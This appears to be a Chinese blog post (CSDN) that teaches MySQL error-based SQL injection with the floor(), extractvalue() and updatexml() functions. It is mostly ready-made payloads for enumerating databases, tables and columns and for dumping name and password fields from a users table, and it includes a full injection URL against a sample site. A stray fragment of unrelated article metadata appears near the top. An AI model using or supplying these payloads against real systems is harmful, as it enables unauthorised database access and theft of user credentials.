sql基于 extractvalue(),floor(),updatexml()函数的报错注入

本文详细介绍了如何利用SQL的floor(), extractvalue()和updatexml()函数进行报错注入攻击,展示了如何通过这些函数暴库、爆表、爆字段和爆数据,特别提到了在MySQL 5.1.5之前的版本中,extractvalue()和updatexml()不能用于报错注入。" 80702095,7687931,西刺网封禁应对:更换IP与User-Agent无效,"['python爬虫', 'ip代理', '网络爬虫', '反爬虫', '数据抓取']
摘要由CSDN通过智能技术生成

floor函数报错

select 1 from (select count(*),(concat(floor(rand(0)*2))x from information_schema.tables group by x)a;

暴库
select 1 from ( select count(*),(concat((select schema_name from information_schema.schemata limit 0,1),’|’,floor(rand(0)*2)))x from information_schema.tables group by x )a;

http://www.hackblog.cn/sql.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

爆表
select 1 from (select count(*),(concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),’|’,floor(rand(0)*2)))x from information_schema.tables group by x)a;

爆字段
select 1 from (select count(*),(concat((select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1),’|’,floor(rand(0)*2)))x from information_schema.tables group by x)a;

爆数据

select 1 from (select count(*),(concat((select concat(name,’|’,passwd,’|’,birth) from users limit 0,1),’|’,floor(rand(0)*2)))x from information_schema.tables group by x)a;

select 1 from(select count(*),concat((select (select (SELECT concat(0x23,name,0x3a,passwd,0x23) FROM users limit 0,1)) from information_schema.tables limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a


MySQL 5.1.5版本中添加了对XML文档进行查询和修改的函数,分别是ExtractValue()和UpdateXML()

因此在mysql 小于5.1.5中不能用ExtractValue和UpdateXML进行报错注入。

————————————————————————————————————————————————
extractvalue()函数报错注入

暴库

select extractvalue(2,concat(’|’,(select schema_name from information_schema.schemata limit 4,1),’|’));

爆表

select extractvalue(2,concat(’|’,(select table_name from information_schema.tables where table_schema=database() limit 3,1),’|’));

爆字段

select extractvalue(2,concat(’|’,(select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 2,1),’|’));

爆数据

select extractvalue(2,concat(’|’,(select concat(name,’|’,passwd) from user.users limit 2,1 ),’|’));

——————————————————————————————————————————————————————–

updatexml注入

首先了解下updatexml()函数

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。

第三个参数:new_value,String格式,替换查找到的符合条件的数据

作用:改变文档中符合条件的节点的值

爆库

select updatexml(2,concat(’|’,(select schema_name from information_schema.schemata limit 4,1),’|’),2);

爆表

select updatexml(2,concat(’|’,(select table_name from information_schema.tables where table_schema=database() limit 2,1),’|’),2);

爆字段

select updatexml(2,concat(’|’,(select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 2,1),’|’),2);

爆数据

select updatexml(2,concat(’|’,(select concat(name,’|’,passwd) from user.users limit 2,1 ),’|’),2);

ps:
通过修改limit的值 0,1 - 1,1 - 2,1 可以逐个的读取数据
关于floor()函数,最后跑数据的时候,我老是跑不出数据。其他两函数都能成功。
floor函数估计要看rp的 txtxtxt…

  • 1
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值